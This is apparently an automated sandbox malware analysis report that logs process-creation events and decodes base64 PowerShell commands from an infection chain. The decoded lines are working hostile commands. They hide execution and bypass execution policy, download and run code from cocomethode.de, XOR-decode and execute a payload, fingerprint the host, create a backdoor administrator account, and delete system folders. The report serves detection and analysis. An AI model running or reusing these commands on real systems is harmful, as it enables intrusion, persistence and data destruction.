Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\Temp\svczHost.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\Temp\myRdpService.exe	Process token adjusted: Debug
Source: C:\Windows\Temp\myRdpService.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 8856, type: MEMORYSTR

Bypasses PowerShell execution policy

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUAbgBjAE8ARABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBQAFMAMAA1AG0AIgApACkAKQApAC4AQwBPAG4AVABFAG4AdAApACkA

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Start-Process powershell -WindowStyle hidden -ArgumentList "-WindowStyle Hidden", "-NoLogo", "-NoProfile", "-ExecutionPolicy Bypass", "-EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUAbgBjAE8ARABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBQAFMAMAA1AG0AIgApACkAKQApAC4AQwBPAG4AVABFAG4AdAApACkA"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded IEX ([TEXt.EncODinG]::UTF8.GeTStRINg((Iwr ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("aHR0cHM6Ly9jb2NvbWV0aG9kZS5kZS9PS05m")))).COnTEnt))
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $uri = "https://cocomethode.de/file2/442d6d2bbbf95a0c2d98335c7cf12d9d4a2163bfd33f42547d8e2176349fc5bec999df77ed6fc10cd2b8f1bf6e1419afd1b8e652d60820a56f5d872b9832d58cfe65348bdb616db23e43f7972daf391f13bd6a69c891902807aad423627811c8e0d4aa7ee939d745201eed806ee979fa";$count = 100;function Send { param( [PSObject] $logMsg ) # Convert body to string $stringBody = [string]($logMsg \| ConvertTo-Json); $logMessages = @(); $logMessages += $stringBody; $logMessages += "----------"; $headers = @{}; $key = "Content-Type"; $value = "application/json"; $headers[$key] = $value; $uri = "LOGURL"; try { $body = $logMessages \| ConvertTo-Json; Invoke-WebRequest -Uri $uri -Method Post -Headers $headers -Body $body } catch{ } }while($count -gt 0){try{ Send "begin download $uri";$content = Invoke-WebRequest -Uri $uri -UseBasicParsing; $byteArray = $content.content; for ($i = 0; $i -lt $byteArray.Length; $i++) { $byteArray[$i] = $byteArray[$i] -bxor 1; }Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($byteArray));break;}catch{Send $_.Exception.Message;$count -= 1;Start-Sleep -s 15;}}
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded function Get-Identity{ $hardDrives = Get-WmiObject -Class Win32_DiskDrive \| Where-Object { $_.MediaType -eq "Fixed hard disk media" -or $_.MediaType -eq "Fixed hard disk media - SSD" }$driveInfoArray = @()foreach ($hardDrive in $hardDrives) { $serialNumber = $hardDrive.SerialNumber $model = $hardDrive.Model $driveInfo = "Serial Number: $serialNumber, Model: $model" $driveInfoArray += $driveInfo}$combinedInfo = $driveInfoArray -join "`r`n"$cpuInfo = Get-WmiObject -Class Win32_Processor$cpuDetails = "ProcessorId: $($cpuInfo.ProcessorId), Name: $($cpuInfo.Name), MaxClockSpeed: $($cpuInfo.MaxClockSpeed), UniqueId: $($cpuInfo.UniqueId)"$allInfo = "$combinedInfo`r`n$cpuDetails"$md5 = New-Object System.Security.Cryptography.MD5CryptoServiceProvider$bytes = [System.Text.Encoding]::UTF8.GetBytes($allInfo)$hashBytes = $md5.ComputeHash($bytes)$hash = [BitConverter]::ToString($hashBytes) -replace '-' return $hash;}cd "C:\Windows\Temp";$test = Get-Identity;$test \| Out-File -FilePath "deviceId.txt" -Encoding UTF8
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded $Username = "User1";$pwd = "123456789!A1a"; $UserParams = @{'Name' = $Username; 'Password' = (ConvertTo-SecureString -String $pwd -AsPlainText -Force); 'PasswordNeverExpires' = $true};New-LocalUser @UserParams;$GroupParams = @{'Group' = 'Administrators'; 'Member' = $Username};Add-LocalGroupMember @GroupParams;
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::AllScreens \| ForEach-Object { "$($_.Bounds.Width)x$($_.Bounds.Height)" } \| Out-File -FilePath "C:\Windows\Temp\dp"
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded get-service "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Start-Process powershell -WindowStyle hidden -ArgumentList "-WindowStyle Hidden", "-NoLogo", "-NoProfile", "-ExecutionPolicy Bypass", "-EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUAbgBjAE8ARABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBQAFMAMAA1AG0AIgApACkAKQApAC4AQwBPAG4AVABFAG4AdAApACkA"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded IEX ([TEXt.EncODinG]::UTF8.GeTStRINg((Iwr ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("aHR0cHM6Ly9jb2NvbWV0aG9kZS5kZS9PS05m")))).COnTEnt))	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $uri = "https://cocomethode.de/file2/442d6d2bbbf95a0c2d98335c7cf12d9d4a2163bfd33f42547d8e2176349fc5bec999df77ed6fc10cd2b8f1bf6e1419afd1b8e652d60820a56f5d872b9832d58cfe65348bdb616db23e43f7972daf391f13bd6a69c891902807aad423627811c8e0d4aa7ee939d745201eed806ee979fa";$count = 100;function Send { param( [PSObject] $logMsg ) # Convert body to string $stringBody = [string]($logMsg \| ConvertTo-Json); $logMessages = @(); $logMessages += $stringBody; $logMessages += "----------"; $headers = @{}; $key = "Content-Type"; $value = "application/json"; $headers[$key] = $value; $uri = "LOGURL"; try { $body = $logMessages \| ConvertTo-Json; Invoke-WebRequest -Uri $uri -Method Post -Headers $headers -Body $body } catch{ } }while($count -gt 0){try{ Send "begin download $uri";$content = Invoke-WebRequest -Uri $uri -UseBasicParsing; $byteArray = $content.content; for ($i = 0; $i -lt $byteArray.Length; $i++) { $byteArray[$i] = $byteArray[$i] -bxor 1; }Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($byteArray));break;}catch{Send $_.Exception.Message;$count -= 1;Start-Sleep -s 15;}}	Jump to behavior
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded function Get-Identity{ $hardDrives = Get-WmiObject -Class Win32_DiskDrive \| Where-Object { $_.MediaType -eq "Fixed hard disk media" -or $_.MediaType -eq "Fixed hard disk media - SSD" }$driveInfoArray = @()foreach ($hardDrive in $hardDrives) { $serialNumber = $hardDrive.SerialNumber $model = $hardDrive.Model $driveInfo = "Serial Number: $serialNumber, Model: $model" $driveInfoArray += $driveInfo}$combinedInfo = $driveInfoArray -join "`r`n"$cpuInfo = Get-WmiObject -Class Win32_Processor$cpuDetails = "ProcessorId: $($cpuInfo.ProcessorId), Name: $($cpuInfo.Name), MaxClockSpeed: $($cpuInfo.MaxClockSpeed), UniqueId: $($cpuInfo.UniqueId)"$allInfo = "$combinedInfo`r`n$cpuDetails"$md5 = New-Object System.Security.Cryptography.MD5CryptoServiceProvider$bytes = [System.Text.Encoding]::UTF8.GetBytes($allInfo)$hashBytes = $md5.ComputeHash($bytes)$hash = [BitConverter]::ToString($hashBytes) -replace '-' return $hash;}cd "C:\Windows\Temp";$test = Get-Identity;$test \| Out-File -FilePath "deviceId.txt" -Encoding UTF8
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded $Username = "User1";$pwd = "123456789!A1a"; $UserParams = @{'Name' = $Username; 'Password' = (ConvertTo-SecureString -String $pwd -AsPlainText -Force); 'PasswordNeverExpires' = $true};New-LocalUser @UserParams;$GroupParams = @{'Group' = 'Administrators'; 'Member' = $Username};Add-LocalGroupMember @GroupParams;
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded get-service "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::AllScreens \| ForEach-Object { "$($_.Bounds.Width)x$($_.Bounds.Height)" } \| Out-File -FilePath "C:\Windows\Temp\dp"

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOWERsheLl.eXE -WINDoWSTylE hiDdEN -EncoDEdCommAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAFEAQQBGAE0AQQBNAEEAQQAxAEEARwAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARwA0AEEAVgBBAEIARgBBAEcANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUAbgBjAE8ARABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBQAFMAMAA1AG0AIgApACkAKQApAC4AQwBPAG4AVABFAG4AdAApACkA	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\n4r2ytua\n4r2ytua.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA0ADQAMgBkADYAZAAyAGIAYgBiAGYAOQA1AGEAMABjADIAZAA5ADgAMwAzADUAYwA3AGMAZgAxADIAZAA5AGQANABhADIAMQA2ADMAYgBmAGQAMwAzAGYANAAyADUANAA3AGQAOABlADIAMQA3ADYAMwA0ADkAZgBjADUAYgBlAGMAOQA5ADkAZABmADcANwBlAGQANgBmAGMAMQAwAGMAZAAyAGIAOABmADEAYgBmADYAZQAxADQAMQA5AGEAZgBkADEAYgA4AGUANgA1ADIAZAA2ADAAOAAyADAAYQA1ADYAZgA1AGQAOAA3ADIAYgA5ADgAMwAyAGQANQA4AGMAZgBlADYANQAzADQAOABiAGQAYgA2ADEANgBkAGIAMgAzAGUANAAzAGYANwA5ADcAMgBkAGEAZgAzADkAMQBmADEAMwBiAGQANgBhADYAOQBjADgAOQAxADkAMAAyADgAMAA3AGEAYQBkADQAMgAzADYAMgA3ADgAMQAxAGMAOABlADAAZAA0AGEAYQA3AGUAZQA5ADMAOQBkADcANAA1ADIAMAAxAGUAZQBkADgAMAA2AGUAZQA5ADcAOQBmAGEAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpAC	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6B00.tmp" "c:\Users\user\AppData\Local\Temp\n4r2ytua\CSCE2E75555A6E54FAF964F39C1B149FD24.TMP"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\JD-Meta-Ads-Manager.pdf.docx" /o ""	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA0ADQAMgBkADYAZAAyAGIAYgBiAGYAOQA1AGEAMABjADIAZAA5ADgAMwAzADUAYwA3AGMAZgAxADIAZAA5AGQANABhADIAMQA2ADMAYgBmAGQAMwAzAGYANAAyADUANAA3AGQAOABlADIAMQA3ADYAMwA0ADkAZgBjADUAYgBlAGMAOQA5ADkAZABmADcANwBlAGQANgBmAGMAMQAwAGMAZAAyAGIAOABmADEAYgBmADYAZQAxADQAMQA5AGEAZgBkADEAYgA4AGUANgA1ADIAZAA2ADAAOAAyADAAYQA1ADYAZgA1AGQAOAA3ADIAYgA5ADgAMwAyAGQANQA4AGMAZgBlADYANQAzADQAOABiAGQAYgA2ADEANgBkAGIAMgAzAGUANAAzAGYANwA5ADcAMgBkAGEAZgAzADkAMQBmADEAMwBiAGQANgBhADYAOQBjADgAOQAxADkAMAAyADgAMAA3AGEAYQBkADQAMgAzADYAMgA3ADgAMQAxAGMAOABlADAAZAA0AGEAYQA3AGUAZQA5ADMAOQBkADcANAA1ADIAMAAxAGUAZQBkADgAMAA2AGUAZQA5ADcAOQBmAGEAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgAC	Jump to behavior
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAi